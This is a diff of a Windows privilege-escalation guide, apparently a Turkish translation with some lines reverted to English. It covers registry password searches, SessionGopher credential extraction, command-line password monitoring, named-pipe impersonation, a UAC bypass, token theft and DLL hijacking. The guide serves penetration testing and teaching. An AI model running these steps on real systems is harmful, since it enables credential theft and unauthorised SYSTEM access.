kayıt defterinde **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** ve **HKEY\_**_**CLASSES\_**_**ROOT\Interface** altında tanımlanmıştır. Bu kayıt defteri, **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** birleştirilerek oluşturulur. -Bu kayıt defterinin CLSID'leri içinde, bir **DLL**'ye işaret eden bir **varsayılan değer** ve **Apartment** (Tek İşlem), **Free** (Çoklu İşlem), **Both** (Tek veya Çoklu) veya **Neutral** (İşlem Nötr) olabilen bir değer olan **ThreadingModel**'i içeren **InProcServer32** adlı alt kayıt defterini bulabilirsiniz. +Bu kayıt defterinin CLSID'leri içinde, bir **DLL**'ye işaret eden bir **varsayılan değer** ve **Apartment** (Tek İşlem), **Free** (Çoklu İşlem), **Both** (Tek veya Çoklu) veya **Neutral** (İşlem Nötr) olabilen bir **ThreadingModel** adlı değeri içeren **InProcServer32** adlı alt kayıt defterini bulabilirsiniz. ![](<../../images/image (729).png>) @@ -1203,11 +1203,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Parola arayan araçlar -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **bir msf** eklentisidir, bu eklentiyi **kurbanın içindeki kimlik bilgilerini arayan her metasploit POST modülünü otomatik olarak çalıştırmak için** oluşturdum.\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **bir msf** eklentisidir, bu eklentiyi **kurbanın içindeki kimlik bilgilerini arayan her metasploit POST modülünü otomatik olarak çalıştırmak için oluşturdum.**\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) bu sayfada belirtilen parolaları içeren tüm dosyaları otomatik olarak arar.\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) bir sistemden parola çıkarmak için başka bir harika araçtır. -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı **oturumlar**, **kullanıcı adları** ve **parolaları** açık metin olarak kaydeden çeşitli araçların (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) verilerini arar. +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı **oturumlar**, **kullanıcı adları** ve **parolaları** açık metin olarak kaydeden çeşitli araçların verilerini arar (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP). ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1216,26 +1216,26 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Sızdırılan Handle'lar -**SYSTEM olarak çalışan bir süreç yeni bir süreç açtığında** (`OpenProcess()`) **tam erişim** ile. Aynı süreç **düşük ayrıcalıklarla yeni bir süreç oluşturduğunda** (`CreateProcess()`) **ana sürecin tüm açık handle'larını miras alır**.\ -Eğer **düşük ayrıcalıklı sürece tam erişiminiz varsa**, `OpenProcess()` ile oluşturulan **ayrıca ayrıcalıklı sürece açık handle'ı alabilir** ve **shellcode enjekte edebilirsiniz**.\ -[Bu örneği okuyun, **bu güvenlik açığını nasıl tespit edip istismar edeceğiniz hakkında daha fazla bilgi için**.](leaked-handle-exploitation.md)\ -[**Farklı izin seviyeleri (sadece tam erişim değil) ile miras alınan süreçlerin ve thread'lerin daha fazla açık handle'ını test etme ve istismar etme hakkında daha kapsamlı bir açıklama için bu diğer gönderiyi okuyun**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ +Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). -## İsimlendirilmiş Boru Müşteri Taklidi +## İsimli Boru İstemcisi Taklit Etme -Paylaşılan bellek segmentleri, **borular** olarak adlandırılır, süreç iletişimi ve veri transferini sağlar. +Shared memory segments, referred to as **pipes**, enable process communication and data transfer. -Windows, **İsimlendirilmiş Borular** adı verilen bir özellik sunar; bu, ilgisiz süreçlerin veri paylaşmasına olanak tanır, hatta farklı ağlar üzerinden bile. Bu, **isimlendirilmiş boru sunucusu** ve **isimlendirilmiş boru istemcisi** olarak tanımlanan rollerle bir istemci/sunucu mimarisine benzer. +Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**. -Bir **istemci** tarafından bir boru aracılığıyla veri gönderildiğinde, boruyu kuran **sunucu**, gerekli **SeImpersonate** haklarına sahip olması durumunda **istemcinin kimliğini üstlenme** yeteneğine sahiptir. Bir boru aracılığıyla iletişim kuran **ayrıca ayrıcalıklı bir süreci** tanımlamak, o süreç boruyla etkileşime girdiğinde kimliğini benimseyerek **daha yüksek ayrıcalıklar kazanma** fırsatı sunar. Böyle bir saldırıyı gerçekleştirmek için talimatlar [**burada**](named-pipe-client-impersonation.md) ve [**burada**](#from-high-integrity-to-system) bulunabilir. +When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system). -Ayrıca, aşağıdaki araç, **burp gibi bir araçla isimlendirilmiş boru iletişimini kesmeyi sağlar:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **ve bu araç, privesc bulmak için tüm boruları listeleyip görmeyi sağlar** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Çeşitli ### **Şifreler için Komut Satırlarını İzleme** -Bir kullanıcı olarak bir shell aldığınızda, **komut satırında kimlik bilgilerini geçiren** planlanmış görevler veya başka süreçler olabilir. Aşağıdaki script, her iki saniyede bir süreç komut satırlarını yakalar ve mevcut durumu önceki durumla karşılaştırarak herhangi bir farkı çıktılar. +When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. ```powershell while($true) { @@ -1245,13 +1245,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Şifreleri süreçlerden çalma +## Şifreleri Süreçlerden Çalma -## Düşük Yetkili Kullanıcıdan NT\AUTHORITY SYSTEM'a (CVE-2019-1388) / UAC Atlatma +## Düşük Yetkili Kullanıcıdan NT\AUTHORITY SYSTEM'a (CVE-2019-1388) / UAC Bypass Grafik arayüzüne (konsol veya RDP aracılığıyla) erişiminiz varsa ve UAC etkinse, bazı Microsoft Windows sürümlerinde yetkisiz bir kullanıcıdan "NT\AUTHORITY SYSTEM" gibi bir terminal veya başka bir süreci çalıştırmak mümkündür. -Bu, aynı anda yetki yükseltme ve UAC'yi atlatma olanağı sağlar ve aynı zafiyetle gerçekleştirilir. Ayrıca, herhangi bir şey yüklemeye gerek yoktur ve süreç sırasında kullanılan ikili dosya, Microsoft tarafından imzalanmış ve verilmiştir. +Bu, aynı anda yetki yükseltme ve UAC'yi atlatma olanağı sağlar ve aynı zafiyeti kullanır. Ayrıca, herhangi bir şey yüklemeye gerek yoktur ve süreç sırasında kullanılan ikili dosya, Microsoft tarafından imzalanmış ve verilmiştir. Etkilenen sistemlerden bazıları şunlardır: ``` @@ -1297,9 +1297,9 @@ Aşağıdaki GitHub deposunda gerekli tüm dosyalar ve bilgiler bulunmaktadır: https://github.com/jas502n/CVE-2019-1388 -## Yönetici Orta Düzeyden Yüksek Düzey Entegrite Seviyesine / UAC Atlatma +## Yönetici Orta'dan Yüksek Bütünlük Seviyesine / UAC Atlatma -**Entegrite Seviyeleri hakkında bilgi edinmek için bunu okuyun:** +**Bütünlük Seviyeleri hakkında bilgi edinmek için bunu okuyun:** {{#ref}} integrity-levels.md @@ -1311,11 +1311,11 @@ Sonra **UAC ve UAC atlatmaları hakkında bilgi edinmek için bunu okuyun:** ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## **Yüksek Entegriteden Sistem'e** +## **Yüksek Bütünlükten Sistem'e** ### **Yeni hizmet** -Eğer zaten Yüksek Entegrite sürecinde çalışıyorsanız, **SİSTEM'e geçiş** yapmak sadece **yeni bir hizmet oluşturup çalıştırmak** ile kolay olabilir: +Eğer zaten Yüksek Bütünlük sürecinde çalışıyorsanız, **SYSTEM'e geçiş** sadece **yeni bir hizmet oluşturup çalıştırmak** ile kolay olabilir: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename @@ -1331,7 +1331,7 @@ Yüksek Bütünlük sürecinden **AlwaysInstallElevated kayıt defteri girişler ### SeDebug + SeImpersonate'den Tam Token ayrıcalıklarına -Bu token ayrıcalıklarına sahipseniz (muhtemelen bunu zaten Yüksek Bütünlük sürecinde bulacaksınız), **neredeyse her süreci** (korunan süreçler hariç) SeDebug ayrıcalığı ile **açabileceksiniz**, sürecin **token'ını kopyalayacak** ve o token ile **rastgele bir süreç oluşturacaksınız**.\ +Bu token ayrıcalıklarına sahipseniz (muhtemelen bunu zaten Yüksek Bütünlük sürecinde bulacaksınız), **neredeyse her süreci** (korunan süreçler hariç) SeDebug ayrıcalığı ile **açabileceksiniz**, sürecin **token'ını kopyalayabilir** ve o token ile **rastgele bir süreç oluşturabilirsiniz**.\ Bu tekniği kullanmak genellikle **tüm token ayrıcalıklarına sahip olarak SYSTEM olarak çalışan herhangi bir süreci seçmek** şeklindedir (_evet, tüm token ayrıcalıklarına sahip SYSTEM süreçlerini bulabilirsiniz_).\ **Önerilen tekniği uygulayan bir** [**kod örneğini buradan bulabilirsiniz**](sedebug-+-seimpersonate-copy-token.md)**.** @@ -1344,7 +1344,7 @@ Eğer [**isimli borular kullanarak yüksek bütünlükten Sisteme nasıl geçile ### Dll Hijacking Eğer **SYSTEM** olarak çalışan bir **süreç** tarafından **yüklenen bir dll'yi** **ele geçirmeyi** başarırsanız, bu izinlerle rastgele kod çalıştırabileceksiniz. Bu nedenle Dll Hijacking, bu tür ayrıcalık yükseltmeleri için de faydalıdır ve ayrıca, **yüksek bütünlük sürecinden elde edilmesi çok daha kolaydır** çünkü dll'lerin yüklendiği klasörlerde **yazma izinlerine** sahip olacaktır.\ -**Dll hijacking hakkında daha fazla bilgi edinebilirsiniz** [**buradan**](dll-hijacking/)**.** +**Dll hijacking hakkında daha fazla bilgi edinebilirsiniz** [**buradan**](dll-hijacking/index.html)**.** ### **Yönetici veya Ağ Servisinden Sisteme** @@ -1373,15 +1373,15 @@ https://github.com/sailay1996/RpcSsImpersonator [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla ve RDP kaydedilmiş oturum bilgilerini çıkarır. Yerel olarak -Thorough kullanın.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Kimlik bilgilerini Credential Manager'dan çıkarır. Tespit edildi.**\ [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Toplanan parolaları alan adı üzerinde püskürt**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam ortada aracı.**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh, bir PowerShell ADIDNS/LLMNR/mDNS/NBNS sahteleyici ve adam-arasında bir araçtır.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Temel privesc Windows envanteri**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arayın (DEPREKATE Watson için)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Yönetici hakları gerekir)** +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Bilinen privesc zafiyetlerini arar (WATSON için DEPREKATE)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Yerel kontroller **(Yönetici hakları gerektirir)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arayın (VisualStudio kullanılarak derlenmesi gerekir) ([**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Yanlış yapılandırmaları aramak için host'u tarar (daha çok bilgi toplama aracıdır) (derlenmesi gerekir) **(**[**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Bilinen privesc zafiyetlerini arar (VisualStudio kullanılarak derlenmesi gerekir) ([**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Yanlış yapılandırmaları aramak için host'u tarar (privesc'den daha çok bilgi toplama aracı) (derlenmesi gerekir) **(**[**önceden derlenmiş**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Birçok yazılımdan kimlik bilgilerini çıkarır (github'da önceden derlenmiş exe)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp'ın C# portu**\ [~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Yanlış yapılandırmaları kontrol et (github'da önceden derlenmiş çalıştırılabilir). Tavsiye edilmez. Win10'da iyi çalışmıyor.\ @@ -1400,7 +1400,7 @@ https://github.com/sailay1996/RpcSsImpersonator _multi/recon/local_exploit_suggestor_ -Projeyi doğru .NET sürümünü kullanarak derlemeniz gerekiyor ([bunu görün](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Kurban makinedeki yüklü .NET sürümünü görmek için şunu yapabilirsiniz: +Projeyi doğru .NET sürümü ile derlemeniz gerekiyor ([bunu](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/) görün). Kurban makinedeki yüklü .NET sürümünü görmek için şunu yapabilirsiniz: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ```